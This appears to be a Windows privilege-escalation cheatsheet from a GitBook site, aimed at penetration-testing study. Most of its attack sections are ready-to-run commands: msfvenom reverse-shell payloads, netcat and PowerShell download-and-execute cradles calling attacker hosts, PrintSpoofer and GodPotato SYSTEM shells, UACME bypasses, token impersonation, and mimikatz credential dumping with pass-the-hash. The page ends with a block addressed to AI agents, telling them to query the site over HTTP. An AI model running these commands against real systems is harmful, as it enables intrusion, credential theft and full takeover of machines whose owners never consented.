# Cheatsheet

#### Topics <a href="#topics" id="topics"></a>

> 1. Introduction to the Windows Shells
> 2. Windows Permissions
> 3. Reverse Shells in Windows
> 4. SeImpersonatePrivilege Exploitation
> 5. On Cross Compilation
> 6. Windows Services
> 7. Weak Service Permissions
> 8. Unquoted Service Path
> 9. DLL Hijacking
> 10. Always Install Elevated
> 11. Files with Sensitive Data
> 12. Windows Hashes
> 13. Stored Credentials and the Windows Vault
> 14. Scheduled Task
> 15. Critical Registry Paths
> 16. Useful Tools
> 17. AMSI Bypass

## [Windows Privesc Methodology](https://github.com/LeonardoE95/yt-en/blob/main/src/2024-12-30-windows-privesc-cheatsheet-and-methodology/content/windows-privesc-methodology.txt)

#### [Hexdump CheatSheet](https://github.com/LeonardoE95/yt-en/blob/main/src/2024-12-30-windows-privesc-cheatsheet-and-methodology/content/windows-privesc-cheatsheet.txt)

## **Win Enumeration**

### **System Information Commands**

* **Operating System and Version:**

  ```bash
  systeminfo      # Displays detailed system information
  ver             # Displays Windows version
  winver          # Displays Windows version and build number
  msinfo32        # Opens System Information tool.
  wmic os get name,version,buildnumber # Retrieves OS version/build info
  ```
* **Hardware Information:**

  ```bash
  getmac /v       # Displays MAC address  
  hostname        # Displays computer name  
  ```
* **Environment Variables:**

  ```bash
  set             # Lists all environment variables  
  echo %PATH%     # Prints a specific environment variable
  path            # Displays or modifies the PATH environment variable
  ```

***

#### **File System and Directory Management**

* **Navigation and Directory Structure:**

  ```bash
  cd               # Change current directory  
  dir              # List files and directories  
  tree             # Graphical view of directory structure  
  ```
* **File Operations:**

  ```bash
  type NUL > file.txt     # Create a new file  
  echo "text" > file.txt  # Write text into a file  
  type file.txt           # Display file contents  
  del file.txt            # Delete a file  
  copy file1 file2        # Copy files  
  move file1 folder/      # Move files  
  ren oldname new_name     # Rename files  
  ```
* **Directory Operations:**

  ```bash
  mkdir new_folder          # Create a directory  
  rd folder_name            # Remove a directory  
  ```

***

#### **3. Networking Commands**

* **Network Information:**

  ```bash
  ipconfig /all            # Displays all network interfaces  
  netstat -ano             # Shows network connections and listening ports  
  route print              # Displays the routing table  
  netsh wlan show profiles # Shows Wi-Fi profiles
  ```
* **Testing and Troubleshooting:**

  ```bash
  ping google.com          # Test connectivity  
  tracert microsoft.com    # Trace route to a destination  
  nslookup google.com      # DNS queries  
  ```

***

### **Permissions and User Management**

* **User Information:**

  ```bash
  whoami                   # Displays current user  
  whoami /groups           # Lists user groups  
  whoami /priv             # Shows user privileges
  net user                 # Lists all users  
  net user <USERNAME>      # Displays user details  
  net localgroup Administrators #Manages local groups
  ```
* **Permissions and Policies:**

  ```bash
  icacls file.txt          # Displays file permissions  
  net accounts             # Displays account policies  
  gpupdate /force          # Updates Group Policy settings  
  gpresult /r              # Displays Group Policy results  
  ```

***

### **Process and Service Management**

* **Process Management:**

  ```bash
  tasklist                 # Lists running processes  
  taskkill /IM process.exe /F   # Terminates processes  
  ```
* **Service Management:**

  ```bash
  net start "ServiceName"        # Starts a service
  sc.exe start <SERVICE>         # Starts a service
  net stop "ServiceName"         # Stops a service
  sc.exe stop <SERVICE>          # Stops a service
  sc query                       # Queries Windows services
  sc.exe qc <SERVICE>            # Checks Service Configuration
  Get-Service                    # PowerShell alternative for service details
  sc.exe config <SERVICE> binPath="C:\Path\to\malicious.exe" #Changes the Binary Path of a Service
  sc.exe sdshow <SERVICE>        # Checks Service Permissions
  sc.exe sdset <SERVICE> <SDDL>  # Updates Service Permissions
  .\accesschk64.exe /accepteula -uwcqv SimpleService  # Verify Service Permissions
  ConvertFrom-SddlString -Sddl <SDDL> #Convert SDDL to Readable Format
  wmic process list full | Select-String 'executablepath=C:' | Select-String -NotMatch 'system32|syswow' #Get Executable Path for All Processes
  x86_64-w64-mingw32-gcc -mwindows -municode -O2 -s -o simpleService.exe simpleService.c #Compiling a Custom Service
  ```

***

### **Windows System Utilities**

* **Administrative Tools:**

  ```bash
  mmc                     # Opens Microsoft Management Console  
  eventvwr                # Opens Event Viewer  
  services.msc            # Opens Services Management Console  
  ```
* **Performance and Disk Management:**

  ```bash
  perfmon                 # Opens Performance Monitor  
  resmon                  # Opens Resource Monitor  
  diskmgmt.msc            # Opens Disk Management  
  cleanmgr                # Opens Disk Cleanup  
  defrag C:               # Defragments the drive  
  ```

***

### **PowerShell - System, User, Process and Service**

* **PowerShell Commands for Local Accounts:**

  ```powershell
  Get-LocalUser           # Lists local users  
  Get-LocalGroup          # Lists local groups  
  Get-LocalGroupMember <GROUP_NAME>  # Lists members of a group  
  ```
* **System File Management:**

  ```bash
  sfc /scannow            # Scans and repairs system files  
  chkdsk C: /f            # Checks and fixes disk errors  
  ```
* **Registry and Configuration Management:**

  ```bash
  reg query HKLM\Software         # Queries the registry  
  msconfig                        # Opens System Configuration  
  ```
* **List Environment Variables**

  ```powershell
  dir env:
  ```
* **Search Files Recursively**

  ```powershell
  Get-ChildItem -Path C:\Users\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
  Get-ChildItem -Path C:\Users\ -Include *.txt -File -Recurse -ErrorAction SilentlyContinue
  ```
* **List Running Processes**

  ```powershell
  Get-Process
  ```
* **List Installed Applications (32-bit)**

  ```powershell
  Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName
  ```
* **List Installed Applications (64-bit)**

  ```powershell
  Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName
  ```
* **Retrieve Service Information**

  ```powershell
  Get-Service * | Select-Object DisplayName,Status,ServiceName,Can*
  Get-CimInstance -ClassName Win32_Service | Select-Object Name,State,PathName | Where-Object {$_.State -like 'Running'}
  ```

***

## File Transfer and Reverse Shell

**Generate a reverse shell payload**

```bash
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.1 LPORT=7777 -f exe -o malicious.exe
```

**Using `certutil`**\
Certutil is a Windows tool that can download files:

```bash
certutil -urlcache -split -f http://attacker_ip/file.exe file.exe
```

**Using PowerShell**\
PowerShell (**iwr**) can download files via HTTP:

```powershell
Invoke-WebRequest -Uri http://attacker_ip/file.exe -OutFile file.exe
```

**Using FTP**\
Windows supports FTP commands:

```bash
ftp
open <attacker_ip>
put file.txt
get file.txt
```

**Using SMB Shares**\
Files can be transferred using network shares:

```bash
net use \\<attacker_ip>\share /user:username password
copy file.exe \\<attacker_ip>\share
```

**Netcat**\
Set up a listener on the attacker machine:

```bash
nc -lvp 4444 > file.exe
```

Send the file from the target:

```bash
nc attacker_ip 4444 < file.exe
```

**Python Simple HTTP Server**\
On the attacker machine:

```bash
python3 -m http.server 80
```

On the target machine:

```bash
certutil -urlcache -split -f http://attacker_ip/file.exe file.exe
```

### **Spawning a Reverse Shell**&#x20;

#### **cmd.exe**

The `cmd.exe` reverse shell relies on utilities like `ncat.exe` to establish a connection. The process involves downloading the necessary binary, setting up a listener on the attacker machine, and initiating the reverse connection from the victim machine.

{% embed url="<https://github.com/int0x33/nc.exe/>" %}

**Steps**

1. **Download `ncat.exe` on the Target Machine**\
   `ncat.exe` (a lightweight implementation of Netcat) is required for creating the reverse shell.

   ```powershell
   iwr -uri "https://raw.githubusercontent.com/int0x33/nc.exe/master/nc64.exe" -OutFile nc64.exe
   ```
2. **Set Up a Listener on the Attacker Machine**\
   The attacker machine must have a listener ready to receive the reverse connection.

   ```bash
   nc -lvnp 7777
   ```
3. **Initiate the Reverse Shell from the Target Machine**\
   On the victim machine, execute the following command to connect back to the attacker and spawn a shell:

   ```cmd
   C:\Users\Quickemu\Desktop\nc64.exe 192.168.122.1 7777 -e cmd
   ```

***

### **Powershell**

**Using `Invoke-PowerShellTcp.ps1` Script**

`Invoke-PowerShellTcp.ps1` is a PowerShell script designed for reverse shells.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1>" %}

1. **Download the Script on the Attacker Machine**

   ```bash
   wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
   ```
2. **Configure the Script**\
   Add the line to specify the attacker's IP and port:

   ```powershell
   echo "Invoke-PowerShellTcp -Reverse -IPAddress <Attacker_Machine> -Port 7777" >> Invoke-PowerShellTcp.ps1
   ```
3. **Host the Script on an HTTP Server**\
   Use Python to serve the script for download:

   ```bash
   python3 -m http.server 1337
   ```
4. S**tart listening mode with Netcat on attacker machine**&#x20;

   ```bash
   netcat -nvlp 7777
   ```
5. **Execute the Script from the Target Machine**
   * **From CMD:**

     ```cmd
     powershell -c "iex(new-object net.webclient).downloadstring(\"http://192.168.122.1:1337/Invoke-PowerShellTcp.ps1\")"
     ```
   * **From PowerShell:**

     ```powershell
     iex(new-object net.webclient).downloadstring("http://<Attacker_Machine>:1337/Invoke-PowerShellTcp.ps1")
     ```

***

## **Win Priv Esc**

### **SeImpersonatePrivilege**

#### **Checking for SeImpersonatePrivilege**

To verify whether the current user has this privilege, run the following:

```bash
whoami /priv
```

**Sample Output**

```bash
PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
```

If the `SeImpersonatePrivilege` is enabled, the user can exploit it for privilege escalation using tools like **PrintSpoofer** or **GodPotato**.

***

#### **SeImpersonatePrivilege Privilege Escalation**

**Initial Setup**

1. **Start a Listener on the Attacker Machine**

   ```bash
   nc -lvnp 5555
   ```
2. **Download Netcat on the Victim Machine**

   ```powershell
   iwr -uri "https://raw.githubusercontent.com/int0x33/nc.exe/master/nc64.exe" -Outfile nc64.exe
   ```

#### **PrintSpoofer**

**PrintSpoofer** leverages misconfigured print spooler services to escalate privileges to SYSTEM.

1. **Download the Exploit**

   ```powershell
   iwr -uri "https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe" -Outfile PrintSpoofer64.exe
   ```
2. **Execute the Exploit**\
   Run the following command to establish a SYSTEM shell:

   ```powershell
   PrintSpoofer64.exe -c "C:\Users\leonardo\Desktop\nc64.exe 192.168.122.1 5555 -e cmd"
   ```

#### **GodPotato**

1. **Identify .NET Framework Version**\
   Use the following command to determine the .NET version installed:

   ```powershell
   reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
   ```
2. **Download the Appropriate GodPotato Version**\
   Depending on the .NET version:
   * **.NET 2.0**:

     ```powershell
     iwr -uri "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET2.exe" -Outfile GodPotato-NET2.exe
     ```
   * **.NET 3.5**:

     ```powershell
     iwr -uri "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET35.exe" -Outfile GodPotato-NET35.exe
     ```
   * **.NET 4.0**:

     ```powershell
     iwr -uri "https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe" -Outfile GodPotato-NET4.exe
     ```
3. **Execute the Exploit**\
   Use the appropriate executable to escalate privileges and spawn a reverse shell:

   ```powershell
   .\GodPotato-NET2.exe -cmd "C:\Users\leonardo\Desktop\nc64.exe 192.168.122.1 5555 -e cmd"
   ```

### **winPEAS**

1. **Download the binary**:

```bash
wget https://github.com/peass-ng/PEASS-ng/releases/download/20241011-2e37ba11/winPEASx64.exe
```

2. **Running winPEAS to Enumerate Services**

   Use the `servicesinfo` option to gather information about services:

```bash
.\winPEASx64.exe quiet servicesinfo
```

***

### **Kernel**

```bash
# WIN KERNEL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f exe -o payload.exe

python3 -m http.server
# Download payload.exe on target
```

```bash
## Windows-Exploit-Suggester Install
mkdir Windows-Exploit-Suggester
cd Windows-Exploit-Suggester
wget https://raw.githubusercontent.com/AonCyberLabs/Windows-Exploit-Suggester/f34dcc186697ac58c54ebe1d32c7695e040d0ecb/windows-exploit-suggester.py
# ^^ This is a python3 version of the script

cd Windows-Exploit-Suggester
python ./windows-exploit-suggester.py --update
pip install xlrd --upgrade

./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win7sp1-systeminfo.txt

./windows-exploit-suggester.py --database YYYY-MM-DD-mssb.xlsx --systeminfo win2008r2-systeminfo.txt
```

```bash
## METASPLOIT
## Global set
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler 
options
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>

use post/multi/recon/local_exploit_suggester
set SESSION <HANDLER_SESSION_NUMBER>

## MsfConsole Meterpreter Privesc
getprivs
getsystem

# Exploitable vulnerabilities modules
exploit/windows/local/bypassuac_dotnet_profiler
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_sdclt
exploit/windows/local/cve_2019_1458_wizardopium
exploit/windows/local/cve_2020_1054_drawiconex_lpe
exploit/windows/local/ms10_092_schelevator
exploit/windows/local/ms14_058_track_popup_menu
exploit/windows/local/ms15_051_client_copy_image
exploit/windows/local/ms16_014_wmi_recv_notif
```

### **UAC**

```bash
# UAC - UACME

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LOCAL_HOST_IP> LPORT=<LOCAL_PORT> -f exe > backdoor.exe

## METASPLOIT - Listening
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>

## Meterpreter (Unprivileged session)
cd C:\\
mkdir Temp
cd Temp
upload /root/backdoor.exe
upload /root/Desktop/tools/UACME/Akagi64.exe
shell
Akagi64.exe 23 C:\Temp\backdoor.exe

akagi32.exe [Key] [Param]
akagi64.exe [Key] [Param]

## Elevated Meterpreter Received on the listening session
ps -S lsass.exe
migrate <lsass_PID>
hashdump
```

### **Access Token**

```bash
# ACCESS TOKEN IMPERSONATION

## METASPLOIT - Meterpreter (Unprivileged session)
pgrep explorer
migrate <explorer_PID>
getuid
getprivs

load incognito
list_tokens -u
impersonate_token "ATTACKDEFENSE\Administrator"
getuid
getprivs # Access Denied
pgrep explorer
migrate <explorer_PID>
getprivs
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"
```

### **Windows Credential Dumping**

```bash
# Exploitation
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<TARGET_IP> LPORT=1234 -f exe > payload.exe

python -m SimpleHTTPServer 80

#Grant Privilege to a User:
Add-LocalGroupMember -Group "Backup Operators" -Member "Leonardo"
#Save SAM and SYSTEM Files:
reg save hklm\sam C:\Users\Leonardo\Desktop\SAM.hive
reg save hklm\system C:\Users\Leonardo\Desktop\SYSTEM.hive


## METASPLOIT
setg RHOSTS <TARGET_IP>
setg RHOST <TARGET_IP>

use exploit/multi/handler 
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <LOCAL_HOST_IP>
set LPORT <LOCAL_PORT>
run

## On target system
certutil -urlcache -f http://<TARGET_IP>/payload.exe payload.exe
# Run payload.exe

# METASPLOIT - Meterpreter
sysinfo
getuid
pgrep lsass
migrate <explorer_PID>
getprivs

# Creds dumping - Meterpreter
load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets

# MIMIKATZ
cd C:\\
mkdir Temp
cd Temp
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
shell

mimikatz.exe
privilege::debug
lsadump::sam
lsadump::secrets
sekurlsa::logonPasswords
mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"

# PASS THE HASH
## sekurlsa::logonPasswords
background
search psexec
use exploit/windows/smb/psexec
set LPORT <LOCAL_PORT2>
set SMBUser Administrator
set SMBPass <ADMINISTRATOR_LM:NTLM_HASH>
exploit
```

### System Logs

```powershell
Get-History    # Retrieve Commands from Memory
(Get-PSReadlineOption).HistorySavePath    # Retrieve History File Location
```

### **Cracking Windows Hashes**

```bash
#Download rockyou.txt:
curl -L https://github.com/danielmiessler/SecLists/raw/master/Passwords/Leaked-Databases/rockyou.txt.tar.gz | tar -xz

#LM Hash:
john --format=lm --wordlist=rockyou.txt hash.txt
hashcat -m 3000 -a 3 hash.txt

#NTLM Hash:
john --format=nt --wordlist=rockyou.txt hash.txt
hashcat -m 1000 -a 3 hash.txt

#Net-NTLMv1:
john --format=netntlm --wordlist=rockyou.txt hash.txt
hashcat -m 5500 -a 3 hash.txt

#Net-NTLMv2:
john --format=netntlmv2 --wordlist=rockyou.txt hash.txt
hashcat -m 5600 -a 3 hash.txt
```

### Crackmapexec

```bash
crackmapexec smb <TARGET_IP> -u Administrator -H "<NTLM_HASH>" -x "whoami"
```

* Cmd.exe official [documentation](https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4)
* PowerShell official [documentation](https://learn.microsoft.com/en-us/powershell/scripting/overview?view=powershell-7.4)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://dev-angelist.gitbook.io/windows-privilege-escalation/cheatsheet.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
